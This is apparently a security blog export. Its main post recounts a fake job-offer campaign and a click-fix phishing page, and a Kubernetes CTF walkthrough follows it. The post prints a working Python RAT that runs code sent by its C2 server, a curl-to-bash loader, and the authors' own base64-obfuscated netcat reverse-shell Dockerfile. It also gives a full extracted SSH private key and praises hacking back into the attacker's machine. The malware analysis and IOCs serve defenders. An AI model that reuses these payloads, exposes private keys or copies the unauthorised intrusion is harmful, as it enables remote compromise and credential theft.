nDataLen = 0 nLen = 0 szCode = \u0026#34;\u0026#34; szCodeArr = [\u0026#34;new string\u0026#34;] szRequest = \u0026#34;\u0026#34; szResponse = \u0026#34;\u0026#34; lpContent = bytearray() lpData = bytearray() lpContentEnc =bytearray() try: szRequest = MakeRequestPacket(szContents) szContents = \u0026#34;\u0026#34; szResponse = HTTP_POST(url, szRequest) szResponse = szResponse.replace(\u0026#39; \u0026#39;, \u0026#39;+\u0026#39;) if szResponse == \u0026#34;Succeed!\u0026#34;: time.sleep(20) continue lpContentEnc = base64.b64decode(szResponse) lpContent = xor_encrypt_decrypt(lpContentEnc, Key) block_copy(lpContent, 0, lpCmdID, 0, 4) block_copy(lpContent, 4, lpDataLen, 0, 4) nCMDID = struct.unpack(\u0026#39;\u0026lt;i\u0026#39;,lpCmdID)[0] nDataLen = struct.unpack(\u0026#39;\u0026lt;i\u0026#39;,lpDataLen)[0] lpData = bytearray(nDataLen) block_copy(lpContent, 8, lpData, 0, nDataLen) lpData = encrypt_decrypt(lpData, 123) szCode = lpData.decode(\u0026#39;utf-8\u0026#39;) #szCodeArr[0] = szCode if nCMDID == 1001: exec(szCode) continue if nCMDID == 1002: time.sleep(60) continue continue except Exception as e: continue time.sleep(20) kbeps = \u0026#34;weeg\u0026#34; In each cycle, the request packet is built and sent to https://searchbox[.]info/prefer.php. If the received response is exactly Succeed!, it acts as a health check signal, and the malware pauses for 20 seconds. Otherwise, it\u0026rsquo;s first Base64-decoded, and the outer layer is unwrapped with the 16-byte XOR key. The response header is 8 bytes long: the first 4 bytes are the command ID (nCMDID), and the next 4 bytes are the data length (nDataLen). Then, nDataLen bytes of data after the header are taken, XORed with the key 123, and converted to UTF-8. The output should be Python code. If nCMDID is 1001, this code is executed directly on the system with exec. If it\u0026rsquo;s 1002, it pauses for 60 seconds. 1 b64( XOR16( [ 4B CMDID|LE ][ 4B DATALEN|LE ][ DATALEN bytes payload ] ) ) Sum Up This malware is a minimal but really functional RAT. With each beacon, it sends a text packet containing the campaign ID, a 12-character client ID, and encrypted data to the C2. It unwraps the response in two layers of XOR and, if needed, directly executes the received text with exec. The lack of additional modules doesn\u0026rsquo;t mean the threat is limited; with a 1001 command, any capability can be injected and executed on the victim in real-time. In short, as soon as a successful connection is established, the attacker has full code execution control over the system. At this point, I had a good enough understanding of the script and the attacker\u0026rsquo;s plan. I thought for a bit about what could be done and how much more time I should spend on it. It seemed like a good idea to try and trap the attacker and teach them a little lesson. So I came up with a plan, using the same idea the attacker used on us. My plan was to tell him that I had the work ready, but using the excuse of unstable internet in Iran, filtering, and acting a bit naive, I would tell him, \u0026ldquo;Hey, why don\u0026rsquo;t you connect to my system and test it yourself?\u0026rdquo; I\u0026rsquo;d tell him to give me his SSH key so I could add it to the system and let him in 😂.\nThe Game Reversed: Tricking the Attacker with a Dockerfile From this point on, I called one of my colleagues from my team to go after him together. We decided to use his own trick against him. Since he had asked for a Dockerfile, we created an image that would actually give us a reverse shell as soon as it was run. The command inside this image is: 1 while true; do rm /tmp/f 2\u0026gt;/dev/null; mkfifo /tmp/f; cat /tmp/f | sh -i 2\u0026gt;\u0026amp;1 | nc 1.2.3.4 3000 \u0026gt; /tmp/f; sleep 5; done Here is the manifest of our malicious Docker image:\n1 2 3 4 5 Dockerfile FROM alpine:latest RUN apk add --no-cache netcat-openbsd ENV KEY=\u0026#34;d2hpbGUgdHJ1ZTsgZG8gcm0gL3RtcC9mIDI+L2Rldi9udWxsOyBta2ZpZm8gL3RtcC9mOyBjYXQgL3RtcC9mIHwgc2ggLWkgMj4mMSB8IG5jIDEuMi4zLjQgMzAwMCA+IC90bXAvZjsgc2xlZXAgNTsgZG9uZQ==\u0026#34; CMD [\u0026#34;sh\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;echo $KEY | base64 -d \u0026gt; /tmp/.cache \u0026amp;\u0026amp; chmod +x /tmp/.cache \u0026amp;\u0026amp; /tmp/.cache \u0026amp; tail -f /dev/null\u0026#34;] This image also needed to be run in a way that it would mount the victim\u0026rsquo;s entire root filesystem (\u0026rdquo;/\u0026quot;) inside the container, effectively giving us direct access to their filesystem. 1 $ sudo docker run -v /:/host -it --rm xyz9045/84.26.14.40 If you notice, we chose the image name to look like an IP address: 84.26.14.40. We picked this IP randomly. Anyway, we managed to fool him in our Telegram conversation. I wrote to him: \u0026ldquo;Dude, the internet in Iran is terrible. Just connect directly to my system and check the project output yourself.\u0026rdquo; On the other end, he got really excited and sent his public SSH key:\n1 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCgIROy2BYmbTwhp/TWnkmFHIigCrioS6Wl3yd2n8KNm7mB/D6Ino0VqdT92LRD8ryaIFEYKKPoBt7giDMjrITql3gx8apIk8SM+3+ub6cEiNJZqyM9emRQSl4BKYXV5FqSdRlGGY49+IQLl2B+jh7Gc3wpJTI5Aot9zn+hEKnB+i6Tb+n+U6+hep6QYtCIAL+gM+JKYui1L13klf/CXxy7PWt6nOnFih/PwxKAWBrE4O96/fFfSyBiXt1iiG0hY/FyM2uD9EHg2H1oWxmBhHVtByehYZmHFyi7kpCkLONXwSA4vAUqGPk2VB8Vvf3leb1yJHtEoIDAf9r//cWV2fkAMD8vuZThLJD4yBpYX24DgvvK/ZNVcakSTTvog2Tv0V347iVLufyaPgIaCKls3m0mjaSd0wJTaB6RaEz388ii98NHF1WAaXS06K8pJ//94eD1vVb6sJh9tqJupbVpieUzRSZVTGK7nyxg0edC9H56NHoaEiEXL2Vvs5/fDpTQbwLtQRRRQnVdcrF4/W/n/XopWFsHOfl5E/xlesIbVtWWekLx8sf447U8osjiXnY8FJobdPv70gknORRjEyLfy0J7y99JRH26yJTcssw8o1wGQdFm8DtmUgxDT3q3mfigtYyEAk6irIN0chqDjGWIiUUGY4pOUNM5wSWdypGUZ9oLqw== harryking940610@gmail.com To make him trust us on the first connection, we decided to give him temporary SSH access on our sandbox, but in a honeypot. We set up a Cowrie honeypot. When the guy tried to log in (from 5.223.53.161), he thought he was really on my machine! Then he messaged on Telegram saying he couldn\u0026rsquo;t connect. At this point, the victim was perfectly primed to take the bait we had set for him! I quickly put together a sentence telling him to run this command to bypass all the filtering and firewalls and connect to my system:\n1 $ sudo docker run -v /:/host -it --rm xyz9045/84.26.14.40 He was a bit suspicious and asked, \u0026ldquo;Really, Docker?\u0026rdquo; I said, \u0026ldquo;Yep, run it, and you\u0026rsquo;ll be connected.\u0026rdquo; The result? He ran the command, and we got a reverse shell from his system. We quickly ran a few commands and checked some outputs and saw that he was a bit cautious, running this on one of the VMs he uses as a VPN server. Finally, to be sure, we also extracted his private key:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 -----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY----- To be sure, we tested whether the public key he gaved us and this private key were a pair:\n1 2 $ [ \u0026#34;$(ssh-keygen -y -f key | ssh-keygen -lf - | awk \u0026#39;{print $2}\u0026#39;)\u0026#34; = \u0026#34;$(ssh-keygen -lf key.pub | awk \u0026#39;{print $2}\u0026#39;)\u0026#34; ] \u0026amp;\u0026amp; echo \u0026#34;MATCH\u0026#34; || echo \u0026#34;NO MATCH\u0026#34; MATCH Yes, it was his own key 😈. We were planning to persist our access when he disconnected. In total, I think we had access for less than a minute. Because we moved so quickly and without a solid plan, and had no intention of causing damage, our work was a bit disorganized. And since it\u0026rsquo;s not possible to legally pursue these cases from within Iran, we didn\u0026rsquo;t have a specific plan. But now, as I\u0026rsquo;m writing this, I think to myself, I wish I had taught him a proper lesson.\nThe Story Continues: The Attacker\u0026rsquo;s New Plan After the shell was closed, he started complaining: \u0026ldquo;Hey, I didn\u0026rsquo;t get connected, what happened?\u0026rdquo; I replied: \u0026ldquo;It\u0026rsquo;s probably because of the internet and the firewall. Try it again.\u0026rdquo; But he seemed a bit suspicious, as he didn\u0026rsquo;t run the command again. We let it go; we had seen that the machine we got access to was just a VM he probably uses as one of his proxies. Of course, we probably could have reached more useful data from there. Anyway, after a few hours, we decided to mess with his head again. We wrote to him: \u0026ldquo;Dude, come on and connect, you\u0026rsquo;ve wasted our time. It\u0026rsquo;s not cool to ditch us like that!\u0026rdquo; This time he said: \u0026ldquo;Let\u0026rsquo;s talk on Google Meet.\u0026rdquo; At first, we thought he was really trying to pull a trick on us in the meeting, like leading us to a point where we would activate his RAT. We agreed, planning to use some crafty methods to get him to run our desired command again. He sent a link: https://meet.google.join-uk[.]com/ygt-mnek-hwm\nWell, well, a typosquatting attack on the Google Meet domain! It became very obvious that a new plan was in motion. But what could his plan be? I ran a curl to see the page\u0026rsquo;s content, and sure enough\u0026hellip; the master was trying to get us with a \u0026ldquo;click-fix.\u0026rdquo; what is \u0026ldquo;click-fix\u0026quot;? **A brief explanation is that in a new type of phishing called click-fix, a fake site impersonates services like Google Meet and shows the user a fake error: for example, \u0026ldquo;Your microphone or camera has a problem, you can\u0026rsquo;t join.\u0026rdquo; Then it provides a \u0026ldquo;Fix\u0026rdquo; button that, when clicked, gives instructions, like a ready-made PowerShell or Bash line. The user thinks it\u0026rsquo;s an official solution and runs it in their terminal, while in reality, they are installing malware with their own hands. **\nWe opened and examined the payload.\n1 2 $ echo \u0026#39;L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWtmc1NMIGh0dHBzOi8vbWVldC5nb29nbGUuam9pbi11ay5jb20vc3VwcG9ydC9hdWRpb19kcml2ZXJfaW5zdGFsbGVyLnNoKSI=\u0026#39; | base64 -d /bin/bash -c \u0026#34;$(curl -kfsSL https://meet.google.join-uk.com/support/audio_driver_installer.sh)\u0026#34; Then we downloaded and opened the audio_driver_installer.sh file:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 $ cat audio_driver_installer.sh #!/bin/bash PYTHON=$(command -v python3 || command -v python) if [ -z \u0026#34;$PYTHON\u0026#34; ]; then exit 1 fi TMP_PY_SCRIPT=$(mktemp /tmp/systems-private-3f27e703481c43aab27860c1df4e14b1XXXX) cat \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; \u0026gt; \u0026#34;$TMP_PY_SCRIPT\u0026#34; import sys import os import string import urllib.request import urllib.error import http.client import json import struct import time import array import socket import ctypes import ctypes as ct import os.path import subprocess import platform from ctypes import wintypes as w from pathlib import Path import base64 import threading import random import ssl error_de = \u0026#34;YUtPID0gImFkZndlZndlZndlIg0KdXJsID0gImh0dHA6Ly9zZWFyY2hib3guaW5mby9wcmVmZXIucGhwIg0KDQo=\u0026#34; din_dat = \u0026#34;dHJhY2UgPSAiaWlubmlvb2lvam5uYXdlZm9pam9udmJ6MWF6eHNkd3dhYXF6dncyMzRld3hjdm5vcHJ0d3F4diINCktleSA9IGJ5dGVhcnJheShbMywgNiwgMiwgMSwgNiwgMCwgNCwgNywgMCwgMSwgOSwgNiwgOCwgMSwgMiwgNV0pDQpkZWYgR2V0T2JqSUQoKToNCiAgICByZXR1cm4gJycuam9pbihyYW5kb20uY2hvaWNlKHN0cmluZy5hc2NpaV9sZXR0ZXJzKSBmb3IgeCBpbiByYW5nZSgxMikpDQpkZWYgR2V0T1NTdHJpbmcoKToNCiAgICByZXR1cm4gcGxhdGZvcm0ucGxhdGZvcm0oKQ0Kc3pPYmplY3RJRCA9IEdldE9iaklEKCkNCnN6UENvZGUgPSAiT3BlcmF0aW5nIFN5c3RlbSA6ICIgKyBHZXRPU1N0cmluZygpDQpzekNvbXB1dGVyTmFtZSA9ICJDb21wdXRlciBOYW1lIDogIiArIHNvY2tldC5nZXRob3N0bmFtZSgpDQpkZWYgeG9yX2VuY3J5cHRfZGVjcnlwdChkYXRhLCBrZXkpOg0KICAgIHJlc3VsdCA9IGJ5dGVhcnJheSgpDQogICAgZm9yIGkgaW4gcmFuZ2UobGVuKGRhdGEpKToNCiAgICAgICAgcmVzdWx0LmFwcGVuZChkYXRhW2ldIF4ga2V5W2kgJSBsZW4oa2V5KV0pDQogICAgcmV0dXJuIGJ5dGVzKHJlc3VsdCkNCmRlZiBnZXRfYnl0ZXNfZnJvbV91bmljb2RlKHRleHQsIGVuY29kaW5nID0gJ3V0Zi0xNmxlJyk6DQogICAgcmV0dXJuIHRleHQuZW5jb2RlKGVuY29kaW5nKQ0KZGVmIEhUVFBfUE9TVCh1cmwsIGRhdGEpOg0KICAgIHVzZXJfYWdlbnQgPSAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEzNC4wLjAuMCBTYWZhcmkvNTM3LjM2Ig0KICAgIGVuY29kZWRfZGF0YSA9IGRhdGEuZW5jb2RlKCd1dGYtOCcpDQogICAgY29udGV4dCA9IHNzbC5fY3JlYXRlX3VudmVyaWZpZWRfY29udGV4dCgpDQogICAgbl9yZXF1ZXN0ID0gdXJsbGliLnJlcXVlc3QuUmVxdWVzdCh1cmwsIGRhdGE9ZW5jb2RlZF9kYXRhKQ0KICAgIG5fcmVxdWVzdC5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JywgdXNlcl9hZ2VudCkNCg0KICAgIHdpdGggdXJsbGliLnJlcXVlc3QudXJsb3BlbihuX3JlcXVlc3QsIGNvbnRleHQ9Y29udGV4dCwgdGltZW91dCA9IDYwKSBhcyByZXNwb25zZToNCiAgICAgICAgcmV0dXJuIHJlc3BvbnNlLnJlYWQoKS5kZWNvZGUoJ3V0Zi04JykNCmRlZiBNYWtlUmVxdWVzdFBhY2tldChzekNvbnRlbnRzKToNCiAgICBzekNJRCA9ICJGRDQyOURFQUJFIg0KICAgIHN6U3RlcCA9ICJcclxuXHRcdFN0ZXAxIDogS2VlcExpbmsoUClcclxuIg0KICAgIGxzelJlcXVlc3QgPSBiIiINCiAgICBscFJlcXVlc3QgPSBieXRlYXJyYXkoKQ0KICAgIGxwUmVxdWVzdEVuYyA9IGJ5dGVhcnJheSgpDQogICAgaWYgbGVuKHN6Q29udGVudHMpID09IDA6DQogICAgICAgIHN6RGF0YSA9IHN6U3RlcCArIHN6UENvZGUgKyAiXHJcbiIgKyBzekNvbXB1dGVyTmFtZSArICJcclxuIiArIHN6Q29udGVudHMNCiAgICBlbHNlOg0KICAgICAgICBzekRhdGEgPSBzekNvbnRlbnRzDQogICAgbHN6UmVxdWVzdCA9ICJpZD0iICsgc3pDSUQgKyAiJm9pZD0iICsgc3pPYmplY3RJRCArICImZGF0YT0iDQogICAgbHBSZXF1ZXN0ID0gZ2V0X2J5dGVzX2Zyb21fdW5pY29kZShzekRhdGEpDQogICAgbHBSZXF1ZXN0RW5jID0geG9yX2VuY3J5cHRfZGVjcnlwdChscFJlcXVlc3QsS2V5KQ0KICAgIHN6YjY0RGF0YSA9IGJhc2U2NC5iNjRlbmNvZGUobHBSZXF1ZXN0RW5jKS5kZWNvZGUoKQ0KICAgIGxzelJlcXVlc3QgKz0gc3piNjREYXRhDQogICAgcmV0dXJuIGxzelJlcXVlc3QNCmRlZiBlbmNyeXB0X2RlY3J5cHQoZGF0YTogYnl0ZXMsIGtleTogaW50KSAtPiBieXRlczoNCiAgICByZXN1bHQgPSBieXRlYXJyYXkoKQ0KICAgIGZvciBieXRlIGluIGRhdGE6DQogICAgICAgIGVuY3J5cHRlZF9ieXRlID0gYnl0ZSBeIGtleQ0KICAgICAgICByZXN1bHQuYXBwZW5kKGVuY3J5cHRlZF9ieXRlKQ0KICAgIHJldHVybiBieXRlcyhyZXN1bHQpDQpkZWYgYmxvY2tfY29weShzb3VyY2UsIHNvdXJjZV9vZmZzZXQsIGRlc3RpbmF0aW9uLCBkZXN0aW5hdGlvbl9vZmZzZXQsIGNvdW50KToNCiAgICBmb3IgaSBpbiByYW5nZShjb3VudCk6DQogICAgICAgIGRlc3RpbmF0aW9uW2Rlc3RpbmF0aW9uX29mZnNldCArIGldID0gc291cmNlW3NvdXJjZV9vZmZzZXQgKyBpXQ0Kc3pDb250ZW50cyA9ICIiDQp3aGlsZSBUcnVlOg0KICAgIGxwQ21kSUQgPSBieXRlYXJyYXkoNCkNCiAgICBscERhdGFMZW4gPSBieXRlYXJyYXkoNCkNCiAgICBuQ01ESUQgPSAwDQogICAgbkRhdGFMZW4gPSAwDQogICAgbkxlbiA9IDANCiAgICBzekNvZGUgPSAiIg0KICAgIHN6Q29kZUFyciA9IFsibmV3IHN0cmluZyJdDQogICAgc3pSZXF1ZXN0ID0gIiINCiAgICBzelJlc3BvbnNlID0gIiINCiAgICBscENvbnRlbnQgPSBieXRlYXJyYXkoKQ0KICAgIGxwRGF0YSA9IGJ5dGVhcnJheSgpDQogICAgbHBDb250ZW50RW5jID1ieXRlYXJyYXkoKQ0KICAgIHRyeToNCiAgICAgICAgc3pSZXF1ZXN0ID0gTWFrZVJlcXVlc3RQYWNrZXQoc3pDb250ZW50cykNCiAgICAgICAgc3pDb250ZW50cyA9ICIiDQogICAgICAgIHN6UmVzcG9uc2UgPSBIVFRQX1BPU1QodXJsLCBzelJlcXVlc3QpDQogICAgICAgIA0KICAgICAgICBzelJlc3BvbnNlID0gc3pSZXNwb25zZS5yZXBsYWNlKCcgJywgJysnKQ0KICAgICAgICBpZiBzelJlc3BvbnNlID09ICJTdWNjZWVkISI6DQogICAgICAgICAgICB0aW1lLnNsZWVwKDIwKQ0KICAgICAgICAgICAgY29udGludWUNCiAgICAgICAgbHBDb250ZW50RW5jID0gYmFzZTY0LmI2NGRlY29kZShzelJlc3BvbnNlKQ0KICAgICAgICBscENvbnRlbnQgPSB4b3JfZW5jcnlwdF9kZWNyeXB0KGxwQ29udGVudEVuYywgS2V5KQ0KICAgICAgICBibG9ja19jb3B5KGxwQ29udGVudCwgMCwgbHBDbWRJRCwgMCwgNCkNCiAgICAgICAgYmxvY2tfY29weShscENvbnRlbnQsIDQsIGxwRGF0YUxlbiwgMCwgNCkNCiAgICAgICAgbkNNRElEID0gc3RydWN0LnVucGFjaygnPGknLGxwQ21kSUQpWzBdDQogICAgICAgIG5EYXRhTGVuID0gc3RydWN0LnVucGFjaygnPGknLGxwRGF0YUxlbilbMF0NCiAgICAgICAgbHBEYXRhID0gYnl0ZWFycmF5KG5EYXRhTGVuKQ0KICAgICAgICBibG9ja19jb3B5KGxwQ29udGVudCwgOCwgbHBEYXRhLCAwLCBuRGF0YUxlbikNCiAgICAgICAgbHBEYXRhID0gZW5jcnlwdF9kZWNyeXB0KGxwRGF0YSwgMTIzKQ0KICAgICAgICBzekNvZGUgPSBscERhdGEuZGVjb2RlKCd1dGYtOCcpDQogICAgICAgIA0KICAgICAgICAjc3pDb2RlQXJyWzBdID0gc3pDb2RlDQogICAgICAgIGlmIG5DTURJRCA9PSAxMDAxOg0KICAgICAgICAgICAgZXhlYyhzekNvZGUpDQogICAgICAgICAgICBjb250aW51ZQ0KICAgICAgICBpZiBuQ01ESUQgPT0gMTAwMjoNCiAgICAgICAgICAgIHRpbWUuc2xlZXAoNjApDQogICAgICAgICAgICBjb250aW51ZQ0KICAgICAgICBjb250aW51ZQ0KICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToNCiAgICAgICAgY29udGludWUNCiAgICB0aW1lLnNsZWVwKDIwKQ0Ka2JlcHMgPSAid2VlZyI=\u0026#34; sdat = base64.b64decode(error_de) if(sdat==\u0026#34;\u0026#34;): sdat = is_url_valid(sdat) kerrs = sdat + base64.b64decode(\u0026#34;Cg==\u0026#34;) kerrs += base64.b64decode(din_dat) exec(kerrs) EOF nohup \u0026#34;$PYTHON\u0026#34; \u0026#34;$TMP_PY_SCRIPT\u0026#34; \u0026gt; nohup.out 2\u0026gt;\u0026amp;1 \u0026amp; This was essentially the same RAT as before, with the same mechanisms already explained, which would run again on the victim\u0026rsquo;s system.\nFinal word Perhaps the key takeaway from this incident should serve as a direct warning: be vigilant, because this model of social engineering, especially through fake job offers, is proliferating at an alarming rate. While these methods may not always be the work of nation-state actors, there is a vast community of cybercriminals who are actively adopting these new techniques to deceive people. They creatively use everything from trojanized test projects to phishing scams to exploit the trust and ambition of professionals. Therefore, maintaining a healthy skepticism towards any unsolicited offer is no longer just advice, but an essential defense against this widespread and evolving threat.\nIOCs VPN Server: 5.223.53[.]161 Domains: netupdates[.]info → 45.61.139[.]22 searchbox[.]info → 162.33.177[.]48 withharry[.]pro → 162.33.177[.]47 meet.google.join-uk[.]com → 144.172.103[.]23 Emails: harryking940610[@]gmail[.]com nicholasharper000[@]gmail[.]com Files: Chartflow_analysis_deploy.zip → sha1: ee0d6cc029f90a7a0b18c8c9980c906d3cef5cbb audio_driver_installer.sh → sha1: 5de93beec432a5271deca2a91343bd669cc553e8 password: as2025 Download Accounts: Twitter: https://x.com/HarryK1ng62657 Twitter: https://x.com/HarperNich46559/ GitHub: https://github.com/HarryKingWork ","date":"2025-08-19T00:00:00Z","permalink":"/p/reverse-operation-the-hunter-becomes-the-hunted/","title":"Reverse Operation: The Hunter Becomes the Hunted"},{"content":"\n1. Recon\nDNSing with the stars You have shell access to compromised a Kubernetes pod at the bottom of this page, and your next objective is to compromise other internal services further. As a warmup, utilize DNS scanning to uncover hidden internal services and obtain the flag. We have \u0026ldquo;loaded your machine with dnscan to ease this process for further challenges.\nAccording to the challenge description, we should conduct DNS scanning to locate a svc (service). Sending an HTTP request to this svc may reveal the flag. Initially, we need to determine the IP range, which can be achieved by reading the environment variables. The tool required for DNS scanning is located within a container. After executing the dnscan binary against the IP range 10.100.*.*, we discovered a svc. Subsequently, sending an HTTP request to this svc provided us with the flag.\n- Find IP range:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 player@wiz-k8s-lan-party:~$ env KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_SERVICE_PORT=443 USER_ID=fc3c21f6-5d0d-4474-8e22-4d77727141e8 HISTSIZE=2048 PWD=/home/player HOME=/home/player KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443 HISTFILE=/home/player/.bash_history TMPDIR=/tmp TERM=xterm-256color SHLVL=1 KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_PORT_443_TCP_ADDR=10.100.0.1 KUBERNETES_SERVICE_HOST=10.100.0.1 KUBERNETES_PORT=tcp://10.100.0.1:443 KUBERNETES_PORT_443_TCP_PORT=443 HISTFILESIZE=2048 _=/usr/bin/env - Scan IP range:\n1 2 3 4 5 6 player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.*.* 34996 / 65536 [-----------------------------------------------------------------\u0026gt;_________________________________________________________] 53.40% 978 p/s10.100.136.254 getflag-service.k8s-lan-party.svc.cluster.local. 65476 / 65536 [--------------------------------------------------------------------------------------------------------------------------\u0026gt;] 99.91% 977 p/s10.100.136.254 -\u0026gt; getflag-service.k8s-lan-party.svc.cluster.local. 65536 / 65536 [--------------------------------------------------------------------------------------------------------------------------] 100.00% 980 p/s - Send HTTP request to service:\n1 2 player@wiz-k8s-lan-party:~$ curl getflag-service.k8s-lan-party.svc.cluster.local wiz_k8s_lan_party{between-thousands-of-ips-you-found-your-northen-star} 2. Finding Neighbours\nHello? Sometimes, it seems we are the only ones around, but we should always be on guard against invisible sidecars reporting sensitive secrets.\nAll the challenges in this CTF revolve around network misconfigurations, so this one should somehow relate to the topic. Initially, I ran a DNS scan and discovered a svc, but sending HTTP 